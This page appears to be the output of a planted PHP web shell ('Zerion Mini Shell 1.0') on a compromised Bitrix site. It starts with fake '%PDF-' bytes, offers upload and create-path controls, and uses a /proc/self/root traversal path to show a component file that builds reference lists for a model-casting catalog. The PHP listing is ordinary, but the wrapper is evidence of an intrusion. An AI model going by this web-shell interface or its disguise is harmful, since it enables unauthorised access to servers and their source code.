%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/12173/root/proc/self/root/home/bitrix/www/local/components/p4/catalog.ref.list/
Upload File :
Create Path :
Current File : //proc/12173/root/proc/self/root/home/bitrix/www/local/components/p4/catalog.ref.list/component.php

<?if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();

$arResult['APP_RESULT']['OK'] = true;
$refList = array(
	'MODELTHEME','MODELOPTIONS','SEX','STAGE','HAIRCOLOR','HAIRLENGTH','EYECOLOR','FACETYPE',
	'SIZE','SHOES','SKINCOLOR','SIZETYPE','SHOESTYPE','BODYSIZETYPE','MODELTYPE');

if (($arParams['REF']=='CUSTOM'))
{
	foreach($refList as $ref)
	{
		$isSizes = in_array($ref, array('SHOES','SIZE'));
		
		$enums = CIBlockPropertyEnum::GetList(
			array('SORT'=>'ASC'),
			array('IBLOCK_ID'=>IBLOCK_PROFILE_ID, 'CODE'=>$ref));
		while($enum = $enums->GetNext())
		{
			if ($isSizes)
			{
				$item = array(
					'ID' => $enum['ID'],
					'NAME' => $enum['VALUE'],
					'TYPE' => substr($enum['XML_ID'], 0, strpos($enum['XML_ID'],'_'))
				);
			}
			elseif ($ref=='SEX')
			{
				$item = array(
					'ID' => $enum['ID'],
					'NAME' => $enum['VALUE'],
					'NAME_RU' => $enum['XML_ID']
				);				
			}
			else
			{
				$item = array(
					'ID' => $enum['ID'],
					'NAME' => $enum['XML_ID'],
					'NAME_RU' => $enum['VALUE']
				);				
			}

			$arResult['APP_RESULT'][$ref][] = $item;
		}
	}
	$rsLang = CIBlockElement::GetList(array('ID'=>'ASC'),array('IBLOCK_ID'=>15),false,false,array('ID','NAME'));
	while ($arLang = $rsLang->Fetch())
	{
		$arResult['APP_RESULT']['LANGUAGES'][] = array(
			'ID' => $arLang['ID'],
			'NAME' => $arLang['NAME']
		);
	}	
}
elseif ($arParams['REF']=='CASTING')
{
	$arPublTimeEn = array(
		229 => '3 days',
		230 => '5 days',
		231 => '1 week',
		232 => '2 weeks',
		233 => '3 weeks',
		449 => '1 month',
		450 => '2 months',
		468 => '3 months',
		469 => '6 months',
		470 => '1 year',
		472 => '1 day',
		473 => '2 days'
	);
	
	$refCastingList = array('COMPENSATION_CURRENCY','COMPENSATION_TYPE','SEX','NUDITY','PUBLIC_DATE','GENRES');
	foreach($refCastingList as $ref)
	{		
		$enums = CIBlockPropertyEnum::GetList(
			array('SORT'=>'ASC'),
			array('IBLOCK_ID'=>12, 'CODE'=>$ref));
		while($enum = $enums->GetNext())
		{
			$item = array(
				'ID' => $enum['ID'],
				'NAME' => isset($arPublTimeEn[$enum['ID']]) ? $arPublTimeEn[$enum['ID']] : $enum['XML_ID'],
				'NAME_RU' => $enum['VALUE']
			);				
			$arResult['APP_RESULT'][$ref][] = $item;
		}
	}	
}
elseif ($arParams['REF']=='REGION')
{
	$rsRegions = CIBlockSection::GetList(array('NAME'=>'ASC'),array('IBLOCK_ID'=>6),false,array('ID','NAME','IBLOCK_SECTION_ID','UF_NAME_RU'));
	while ($region = $rsRegions->Fetch())
	{
		$arResult['APP_RESULT']['COUNTRY_ITEMS'][] = array(
			'ID' => $region['ID'],
			'NAME' => $region['NAME'],
			'NAME_RU' => $region['UF_NAME_RU'],
			'OWNER' => $region['IBLOCK_SECTION_ID']
		);		
	}	
	$rsCity = CIBlockElement::GetList(array('NAME'=>'ASC'),array('IBLOCK_ID'=>6),false,false,array('ID','NAME','IBLOCK_SECTION_ID','PROPERTY_NAME_RU'));
	while ($city = $rsCity->Fetch())
	{
		$arResult['APP_RESULT']['CITY_ITEMS'][] = array(
			'ID' => $city['ID'],
			'NAME' => $city['NAME'],
			'NAME_RU' => $city['PROPERTY_NAME_RU_VALUE'],
			'OWNER' => $city['IBLOCK_SECTION_ID']
		);		
	}	
}

$this->IncludeComponentTemplate();
?>

Zerion Mini Shell 1.0